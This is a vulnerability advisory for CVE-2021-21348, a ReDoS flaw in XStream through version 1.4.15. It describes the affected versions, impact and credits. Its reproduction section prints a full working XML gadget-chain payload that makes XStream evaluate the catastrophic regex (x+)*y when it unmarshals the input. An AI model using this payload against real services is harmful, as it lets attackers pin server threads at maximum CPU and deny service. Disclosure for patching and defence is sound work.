CVE-2021-21348

Vulnerability

CVE-2021-21348: XStream is vulnerable to an attack using Regular Expression for a Denial of Service (ReDos).

Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in executed evaluation of a malicious regular expression causing a denial of service.

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='java.util.Scanner'>
                <buf class='java.nio.HeapCharBuffer'>
                  <mark>-1</mark>
                  <position>0</position>
                  <limit>0</limit>
                  <capacity>1024</capacity>
                  <address>0</address>
                  <hb></hb>
                  <offset>0</offset>
                  <isReadOnly>false</isReadOnly>
                </buf>
                <position>0</position>
                <matcher>
                  <parentPattern>
                    <pattern>\p{javaWhitespace}+</pattern>
                    <flags>0</flags>
                  </parentPattern>
                  <from>0</from>
                  <to>0</to>
                  <lookbehindTo>0</lookbehindTo>
                  <text class='java.nio.HeapCharBuffer' reference='../../buf'/>
                  <acceptMode>0</acceptMode>
                  <first>-1</first>
                  <last>0</last>
                  <oldLast>-1</oldLast>
                  <lastAppendPosition>0</lastAppendPosition>
                  <locals/>
                  <hitEnd>false</hitEnd>
                  <requireEnd>false</requireEnd>
                  <transparentBounds>true</transparentBounds>
                  <anchoringBounds>false</anchoringBounds>
                </matcher>
                <delimPattern>
                  <pattern>(x+)*y</pattern>
                  <flags>0</flags>
                </delimPattern>
                <hasNextPosition>0</hasNextPosition>
                <source class='java.io.StringReader'>
                  <lock class='java.io.StringReader' reference='..'/>
                  <str>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</str>
                  <length>32</length>
                  <next>0</next>
                  <mark>0</mark>
                </source>
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>0</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
XStream xstream = new XStream();
xstream.fromXML(xml);

As soon as the XML gets unmarshalled, the malicious regular expression is evaluated and causes a denial of service.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never return.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

The vulnerability was discovered and reported by threedr3am.